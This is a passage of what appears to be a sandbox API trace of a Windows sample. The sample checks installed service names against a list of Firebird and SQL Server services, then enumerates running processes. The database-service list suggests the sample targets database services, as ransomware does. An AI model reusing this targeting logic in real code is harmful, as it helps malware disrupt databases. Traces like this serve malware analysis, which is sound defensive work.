lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0167.560] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0167.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0167.560] lstrlenW (lpString="PlugPlay") returned 8 [0167.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0167.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0167.560] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0167.560] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0167.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0167.560] lstrlenW (lpString="Power") returned 5 [0167.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0167.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0167.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0167.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0167.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0167.560] lstrlenW (lpString="ProfSvc") returned 7 [0167.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0167.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0167.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0167.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0167.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0167.561] lstrlenW (lpString="RpcEptMapper") returned 12 [0167.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.561] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0167.561] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0167.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0167.561] lstrlenW (lpString="RpcSs") returned 5 [0167.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0167.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0167.561] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0167.561] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0167.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0167.561] lstrlenW (lpString="SamSs") returned 5 [0167.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0167.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0167.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0167.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0167.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0167.561] lstrlenW (lpString="Schedule") returned 8 [0167.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0167.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0167.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0167.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0167.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0167.561] lstrlenW (lpString="SecurityHealthService") returned 21 [0167.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0167.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0167.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0167.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0167.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0167.562] lstrlenW (lpString="SENS") returned 4 [0167.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0167.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0167.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0167.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0167.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0167.562] lstrlenW (lpString="ShellHWDetection") returned 16 [0167.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.562] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0167.562] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0167.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0167.562] lstrlenW (lpString="Spooler") returned 7 [0167.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0167.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0167.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0167.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0167.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0167.562] lstrlenW (lpString="SSDPSRV") returned 7 [0167.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0167.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0167.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0167.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0167.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0167.562] lstrlenW (lpString="StateRepository") returned 15 [0167.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0167.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0167.562] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0167.562] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0167.563] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800c8 | out: hHeap=0x790000) returned 1 [0167.563] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0167.568] Process32FirstW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.569] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0167.569] lstrlenW (lpString="System") returned 6 [0167.570] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0167.570] lstrlenW (lpString="smss.exe") returned 8 [0167.570] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.571] lstrlenW (lpString="csrss.exe") returned 9 [0167.571] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0167.572] lstrlenW (lpString="wininit.exe") returned 11 [0167.572] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.573] lstrlenW (lpString="csrss.exe") returned 9 [0167.573] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0167.573] lstrlenW (lpString="winlogon.exe") returned 12 [0167.573] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0167.574] lstrlenW (lpString="services.exe") returned 12 [0167.574] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0167.575] lstrlenW (lpString="lsass.exe") returned 9 [0167.575] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.576] lstrlenW (lpString="svchost.exe") returned 11 [0167.576] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0167.576] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0167.576] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0167.577] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0167.577] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.578] lstrlenW (lpString="svchost.exe") returned 11 [0167.578] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0167.579] lstrlenW (lpString="dwm.exe") returned 7 [0167.579] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.579] lstrlenW (lpString="svchost.exe") returned 11 [0167.579] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.580] lstrlenW (lpString="svchost.exe") returned 11 [0167.580] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.581] lstrlenW (lpString="svchost.exe") returned 11 [0167.581] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.582] lstrlenW (lpString="svchost.exe") returned 11 [0167.582] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.583] lstrlenW (lpString="svchost.exe") returned 11 [0167.583] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.584] lstrlenW (lpString="svchost.exe") returned 11 [0167.584] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.584] lstrlenW (lpString="svchost.exe") returned 11 [0167.584] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.585] lstrlenW (lpString="svchost.exe") returned 11 [0167.585] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.586] lstrlenW (lpString="svchost.exe") returned 11 [0167.586] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0167.587] lstrlenW (lpString="spoolsv.exe") returned 11 [0167.587] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.587] lstrlenW (lpString="svchost.exe") returned 11 [0167.587] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.588] lstrlenW (lpString="svchost.exe") returned 11 [0167.588] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0167.589] lstrlenW (lpString="audiodg.exe") returned 11 [0167.589] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0167.590] lstrlenW (lpString="sihost.exe") returned 10 [0167.590] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.590] lstrlenW (lpString="svchost.exe") returned 11 [0167.591] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.591] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.591] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0167.592] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0167.592] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0167.593] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0167.593] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0167.594] lstrlenW (lpString="explorer.exe") returned 12 [0167.594] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0167.594] lstrlenW (lpString="Memory Compression") returned 18 [0167.594] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0167.595] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0167.595] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0167.596] lstrlenW (lpString="SearchUI.exe") returned 12 [0167.596] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0167.597] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0167.597] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0167.597] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0167.597] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.598] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.598] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0167.599] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0167.599] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0167.600] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0167.600] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0167.601] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0167.601] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.601] lstrlenW (lpString="conhost.exe") returned 11 [0167.601] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0167.602] lstrlenW (lpString="screensaver.exe") returned 15 [0167.602] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0167.603] lstrlenW (lpString="upperarc.exe") returned 12 [0167.603] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0167.604] lstrlenW (lpString="buying.exe") returned 10 [0167.604] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0167.604] lstrlenW (lpString="downloadable.exe") returned 16 [0167.604] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0167.605] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0167.605] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0167.606] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0167.606] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0167.607] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0167.607] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0167.607] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0167.607] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0167.608] lstrlenW (lpString="moments.exe") returned 11 [0167.608] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0167.609] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0167.609] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0167.609] lstrlenW (lpString="stream-test.exe") returned 15 [0167.609] Process32NextW (in: hSnapshot=0x318, 